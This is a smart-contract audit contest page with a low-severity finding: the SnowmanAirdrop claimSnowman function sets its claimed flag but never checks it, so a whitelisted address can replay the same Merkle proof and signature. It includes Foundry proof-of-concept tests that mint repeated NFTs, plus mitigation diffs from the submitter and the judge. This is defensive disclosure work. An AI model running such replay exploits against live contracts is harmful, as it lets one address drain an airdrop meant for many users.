Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: low
Valid

`s_hasClaimedSnowman` is written but never read, letting a whitelisted address replay the identical proof and signature for unlimited NFTs

The claimed-flag in SnowmanAirdrop is never checked, so claimSnowman can be replayed indefinitely with the byte-identical Merkle proof and signature

Description

  • Each address in the Merkle tree is entitled to claim exactly once. SnowmanAirdrop maintains s_hasClaimedSnowman for precisely this purpose and even exposes it through the getClaimStatus getter, so a second claim by the same address is meant to revert.

  • The mapping is written at the end of claimSnowman but is never read anywhere in the claim path. Nothing enforces the one-claim-per-address rule, so the same address can claim as many times as it can restore its Snow balance to the amount the Merkle tree committed to — resubmitting the same proof and the same signature unchanged.

// src/SnowmanAirdrop.sol:69-99
function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
if (receiver == address(0)) { revert SA__ZeroAddress(); }
if (i_snow.balanceOf(receiver) == 0) { revert SA__ZeroAmount(); }
// @> MISSING: if (s_hasClaimedSnowman[receiver]) { revert SA__AlreadyClaimed(); }
if (!_isValidSignature(receiver, getMessageHash(receiver), v, r, s)) { revert SA__InvalidSignature(); }
@> uint256 amount = i_snow.balanceOf(receiver); // @> claim datum read from LIVE, mutable state
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) { revert SA__InvalidProof(); }
i_snow.safeTransferFrom(receiver, address(this), amount);
@> s_hasClaimedSnowman[receiver] = true; // @> written here, and read NOWHERE in the claim path
emit SnowmanClaimedSuccessfully(receiver, amount);
i_snowman.mintSnowman(receiver, amount);
}

The only thing that accidentally blocks an immediate second claim is that safeTransferFrom drained the balance, so the SA__ZeroAmount check trips. That is not a guard — Snow is a plain ERC20 with no transfer restrictions, so anyone can push the balance back to the committed amount and the claim becomes valid again.

The replay works with the original signature because the signed struct carries no nonce and no deadline, and the digest is derived from the same live balance:

// src/SnowmanAirdrop.sol:36-39, 112-122
struct SnowmanClaim {
address receiver;
@> uint256 amount; // @> no nonce, no deadline - nothing makes a signature single-use
}
function getMessageHash(address receiver) public view returns (bytes32) {
if (i_snow.balanceOf(receiver) == 0) { revert SA__ZeroAmount(); }
@> uint256 amount = i_snow.balanceOf(receiver); // @> same live read, so the digest is reproducible
return _hashTypedDataV4(
keccak256(abi.encode(MESSAGE_TYPEHASH, SnowmanClaim({receiver: receiver, amount: amount})))
);
}

Risk

Likelihood:

  • Every whitelisted address can do this, using only the proof and signature it already needs for its legitimate first claim. No special tooling, no race, no privileged position.

  • Restoring the balance is free and requires no cooperation from anyone: a throwaway address farms 1 wei through Snow::earnSnow and transfers it over. Snow has no transfer restrictions, so any holder can also simply gift the wei.

  • The replay uses the exact same (merkleProof, v, r, s) bytes each round, so the attacker performs no cryptographic work after the first claim.

Impact:

  • The airdrop's allocation invariant is broken: a whitelist entry granting one NFT grants as many as the holder cares to farm for, and a single address can absorb the entire distribution.

  • A signature the user believes is spent is never invalidated. Because claimSnowman is permissionless and users must grant the airdrop an ERC20 allowance, a third party can replay an old signature to pull the victim's re-acquired Snow into the airdrop without fresh consent. This is bounded — the victim does receive NFTs in exchange, so it is a forced-but-compensated stake rather than theft — but the victim's only defence is manually revoking an allowance the protocol never tells them to revoke.

  • Honest bound on absolute numbers, stated so the severity is not overread: free Snow issuance is throttled to 1 wei per week protocol-wide (s_earnTimer in Snow.sol:30 is a single global slot) and the paid path costs 5 ETH per wei, so circulating Snow is tiny and the raw NFT count an attacker accumulates is small. The defect is the broken invariant, not a headline count.

Proof of Concept

Alice is whitelisted for one NFT and ends up with six, at zero cost, using byte-identical proof and signature every round. Save as test/PoCH02.t.sol and run forge test --match-test test_H02 -vv.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test} from "forge-std/Test.sol";
import {Snow} from "../src/Snow.sol";
import {Snowman} from "../src/Snowman.sol";
import {SnowmanAirdrop} from "../src/SnowmanAirdrop.sol";
import {MockWETH} from "../src/mock/MockWETH.sol";
import {Helper} from "../script/Helper.s.sol";
contract PoCH02 is Test {
Snow snow;
Snowman nft;
SnowmanAirdrop airdrop;
MockWETH weth;
Helper deployer;
// alice's proof, lifted verbatim from the project's own TestSnowmanAirdrop.t.sol
bytes32[] AL_PROOF = [
bytes32(0xf99782cec890699d4947528f9884acaca174602bb028a66d0870534acf241c52),
bytes32(0xbc5a8a0aad4a65155abf53bb707aa6d66b11b220ecb672f7832c05613dba82af),
bytes32(0x971653456742d62534a5d7594745c292dda6a75c69c43a6a6249523f26e0cac1)
];
address alice;
uint256 alKey;
function setUp() public {
deployer = new Helper();
(airdrop, snow, nft, weth) = deployer.run();
(alice, alKey) = makeAddrAndKey("alice");
}
function test_H02_RepeatClaimWithIdenticalProofAndSignature() public {
bytes32 digest = airdrop.getMessageHash(alice);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(alKey, digest);
vm.prank(alice);
snow.approve(address(airdrop), 1);
vm.prank(alice);
airdrop.claimSnowman(alice, AL_PROOF, v, r, s);
assertEq(nft.balanceOf(alice), 1);
assertTrue(airdrop.getClaimStatus(alice), "flag IS set...");
// ...and the flag is never checked. Restoring the balance costs NOTHING:
// a throwaway address farms 1 wei for free and gifts it back.
address farmer = makeAddr("farmer");
for (uint256 i = 0; i < 5; i++) {
vm.warp(block.timestamp + 1 weeks);
vm.prank(farmer);
snow.earnSnow(); // free
vm.prank(farmer);
snow.transfer(alice, 1);
vm.prank(alice);
snow.approve(address(airdrop), 1);
vm.prank(alice); // byte-identical proof + signature, every time
airdrop.claimSnowman(alice, AL_PROOF, v, r, s);
}
assertEq(nft.balanceOf(alice), 6, "claimed 6x while whitelisted once");
assertEq(alice.balance, 0, "at zero cost");
}
}

Result:

[PASS] test_H02_RepeatClaimWithIdenticalProofAndSignature() (gas: 828974)
Suite result: ok. 1 passed; 0 failed; 0 skipped

Recommended Mitigation

Read the flag before doing any work, and make the signature single-use by adding a nonce and a deadline to the signed struct.

+ error SA__AlreadyClaimed();
+
function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
if (receiver == address(0)) {
revert SA__ZeroAddress();
}
if (i_snow.balanceOf(receiver) == 0) {
revert SA__ZeroAmount();
}
+ if (s_hasClaimedSnowman[receiver]) {
+ revert SA__AlreadyClaimed();
+ }
- bytes32 private constant MESSAGE_TYPEHASH = keccak256("SnowmanClaim(addres receiver, uint256 amount)");
+ bytes32 private constant MESSAGE_TYPEHASH =
+ keccak256("SnowmanClaim(address receiver,uint256 amount,uint256 nonce,uint256 deadline)");
+ mapping(address => uint256) private s_nonces;

Disclosure of overlap

Snowman::mintSnowman is itself unguarded (reported separately), so an attacker who only wants NFTs does not need this bug. The two are independent root causes in different contracts with different fixes: gating the mint would leave the airdrop's own one-claim-per-address invariant broken, and fixing this one would leave the mint open.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 15 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[L-01] Missing Claim Status Check Allows Multiple Claims in SnowmanAirdrop.sol::claimSnowman

# Root + Impact &#x20; **Root:** The [`claimSnowman`](https://github.com/CodeHawks-Contests/2025-06-snowman-merkle-airdrop/blob/b63f391444e69240f176a14a577c78cb85e4cf71/src/SnowmanAirdrop.sol#L44) function updates `s_hasClaimedSnowman[receiver] = true` but never checks if the user has already claimed before processing the claim, allowing users to claim multiple times if they acquire more Snow tokens. **Impact:** Users can bypass the intended one-time airdrop limit by claiming, acquiring more Snow tokens, and claiming again, breaking the airdrop distribution model and allowing unlimited NFT minting for eligible users. ## Description * **Normal Behavior:** Airdrop mechanisms should enforce one claim per eligible user to ensure fair distribution and prevent abuse of the reward system. * **Specific Issue:** The function sets the claim status to true after processing but never validates if `s_hasClaimedSnowman[receiver]` is already true at the beginning, allowing users to claim multiple times as long as they have Snow tokens and valid proofs. ## Risk **Likelihood**: Medium * Users need to acquire additional Snow tokens between claims, which requires time and effort * Users must maintain their merkle proof validity across multiple claims * Attack requires understanding of the missing validation check **Impact**: High * **Airdrop Abuse**: Users can claim far more NFTs than intended by the distribution mechanism * **Unfair Distribution**: Some users receive multiple rewards while others may receive none * **Economic Manipulation**: Breaks the intended scarcity and distribution model of the NFT collection ## Proof of Concept Add the following test to TestSnowMan.t.sol  ```Solidity function testMultipleClaimsAllowed() public { // Alice claims her first NFT vm.prank(alice); snow.approve(address(airdrop), 1); bytes32 aliceDigest = airdrop.getMessageHash(alice); (uint8 v, bytes32 r, bytes32 s) = vm.sign(alKey, aliceDigest); vm.prank(alice); airdrop.claimSnowman(alice, AL_PROOF, v, r, s); assert(nft.balanceOf(alice) == 1); assert(airdrop.getClaimStatus(alice) == true); // Alice acquires more Snow tokens (wait for timer and earn again) vm.warp(block.timestamp + 1 weeks); vm.prank(alice); snow.earnSnow(); // Alice can claim AGAIN with new Snow tokens! vm.prank(alice); snow.approve(address(airdrop), 1); bytes32 aliceDigest2 = airdrop.getMessageHash(alice); (uint8 v2, bytes32 r2, bytes32 s2) = vm.sign(alKey, aliceDigest2); vm.prank(alice); airdrop.claimSnowman(alice, AL_PROOF, v2, r2, s2); // Second claim succeeds! assert(nft.balanceOf(alice) == 2); // Alice now has 2 NFTs } ``` ## Recommended Mitigation **Add a claim status check at the beginning of the function** to prevent users from claiming multiple times. ```diff // Add new error + error SA__AlreadyClaimed(); function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s) external nonReentrant { + if (s_hasClaimedSnowman[receiver]) { + revert SA__AlreadyClaimed(); + } + if (receiver == address(0)) { revert SA__ZeroAddress(); } // Rest of function logic... s_hasClaimedSnowman[receiver] = true; } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!